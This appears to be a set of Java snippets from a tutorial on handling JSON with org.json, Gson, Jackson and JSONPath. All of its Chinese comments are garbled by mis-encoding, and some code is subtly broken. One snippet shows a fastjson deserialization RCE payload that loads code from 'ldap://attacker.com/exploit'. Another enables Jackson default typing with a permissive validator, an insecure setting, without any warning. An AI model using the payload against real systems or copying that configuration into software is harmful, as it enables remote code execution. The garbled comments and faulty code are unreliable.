// 空對(duì)象創(chuàng)建
JSONObject obj = new JSONObject();
// 鏈?zhǔn)綐?gòu)造
JSONObject user = new JSONObject()
    .put("id", 1001)
    .put("name", "張三")
    .put("isAdmin", true);
// Map初始化
Map<String, Object> data = new HashMap<>();
data.put("email", "zhangsan@example.com");
JSONObject fromMap = new JSONObject(data);

// 安全取值（避免NullPointerException）
String name = user.optString("name", "未知");
// 類型轉(zhuǎn)換
int id = user.getInt("id");
// 嵌套對(duì)象訪問(wèn)
JSONObject address = user.getJSONObject("address");
String city = address.getString("city");

// 鍵存在檢查
if(user.has("mobile")) {
    // 處理手機(jī)號(hào)
}
// 刪除字段
user.remove("isAdmin");
// 轉(zhuǎn)標(biāo)準(zhǔn)JSON字符串
String jsonStr = user.toString();

Iterator<String> keys = user.keys();
while(keys.hasNext()) {
    String key = keys.next();
    Object value = user.get(key);
    System.out.println(key + ": " + value);
}

// Gson實(shí)現(xiàn)
Gson gson = new Gson();
User userObj = new User(1001, "張三");
JSONObject userJson = new JSONObject(gson.toJson(userObj));
// Jackson實(shí)現(xiàn)
ObjectMapper mapper = new ObjectMapper();
JSONObject userJson = mapper.convertValue(userObj, JSONObject.class);

// org.json實(shí)現(xiàn)
User user = new User();
user.setId(userJson.getInt("id"));
user.setName(userJson.getString("name"));
// Gson實(shí)現(xiàn)
User user = gson.fromJson(userJson.toString(), User.class);

// 日期格式化
Gson gson = new GsonBuilder()
    .setDateFormat("yyyy-MM-dd HH:mm:ss")
    .create();
// 泛型集合轉(zhuǎn)換
List<User> users = gson.fromJson(
    jsonArray.toString(), 
    new TypeToken<List<User>>(){}.getType()
);

JSONObject order = new JSONObject();
order.put("orderNo", "20230815001");
// 嵌套對(duì)象
JSONObject customer = new JSONObject();
customer.put("name", "李四");
order.put("customer", customer);
// 嵌套數(shù)組
JSONArray products = new JSONArray();
products.put(new JSONObject().put("name", "iPhone").put("price", 6999));
products.put(new JSONObject().put("name", "AirPods").put("price", 1299));
order.put("products", products);

// Jayway JSONPath 實(shí)現(xiàn)
DocumentContext ctx = JsonPath.parse(order.toString());
Double totalPrice = ctx.read("$.products[*].price.sum()");
// 修改嵌套值
ctx.set("$.customer.name", "王五");

JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(jsonStr);
while(parser.nextToken() != null) {
    String field = parser.getCurrentName();
    if("price".equals(field)) {
        parser.nextToken();
        double price = parser.getDoubleValue();
        // 處理價(jià)格數(shù)據(jù)
    }
}
parser.close();

JSONObject obj = new JSONObject(20); // 初始容量20

// 錯(cuò)誤：JSONObject不實(shí)現(xiàn)Serializable
// 正確：轉(zhuǎn)換為字符串存儲(chǔ)
String jsonStr = obj.toString();
// 循環(huán)引用導(dǎo)致棧溢出
obj.put("self", obj); // 禁止！

// 反序列化漏洞觸發(fā)
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/exploit\",\"autoCommit\":true}";
JSON.parseObject(maliciousJson); // RCE攻擊!

if(jsonStr.contains("@type")) {
    throw new SecurityException("危險(xiǎn)數(shù)據(jù)類型!");
}

ObjectMapper mapper = new ObjectMapper();
mapper.enable(JsonParser.Feature.IGNORE_UNDEFINED);
mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);
mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, 
    ObjectMapper.DefaultTyping.NON_FINAL);

JSONObject request = new JSONObject();
request.put("apiKey", API_KEY);
request.put("timestamp", System.currentTimeMillis());
JSONObject params = new JSONObject();
params.put("page", 1);
params.put("size", 20);
request.put("params", params);
// 生成簽名
String sign = sign(request.toString());
request.put("sign", sign);

# config.json
{
  "database": {
    "url": "jdbc:mysql://localhost:3306/app",
    "user": "root"
  },
  "threadPool": {
    "coreSize": 10,
    "maxSize": 50
  }
}

JSONObject config = new JSONObject(new FileReader("config.json"));
String dbUrl = config.getJSONObject("database").getString("url");
int coreThreads = config.getJSONObject("threadPool").getInt("coreSize");

public JSONObject maskSensitive(JSONObject data) {
    JSONObject masked = new JSONObject(data.toString());
    if(masked.has("idCard")) {
        String idCard = masked.getString("idCard");
        masked.put("idCard", idCard.substring(0,3) + "********" + idCard.substring(14));
    }
    if(masked.has("mobile")) {
        String mobile = masked.getString("mobile");
        masked.put("mobile", mobile.substring(0,3) + "****" + mobile.substring(7));
    }
    return masked;
}

// 支持注釋、單引號(hào)等特性
{
  name: '張三', // 用戶姓名
  age: 28,
  tags: ['程序員', '攝影師'],
}

// 使用Everit實(shí)現(xiàn)
Schema schema = SchemaLoader.load(new JSONObject(
    "{\"type\":\"object\",\"properties\":{\"age\":{\"type\":\"integer\"}}}"
));
schema.validate(userJson); // 驗(yàn)證數(shù)據(jù)格式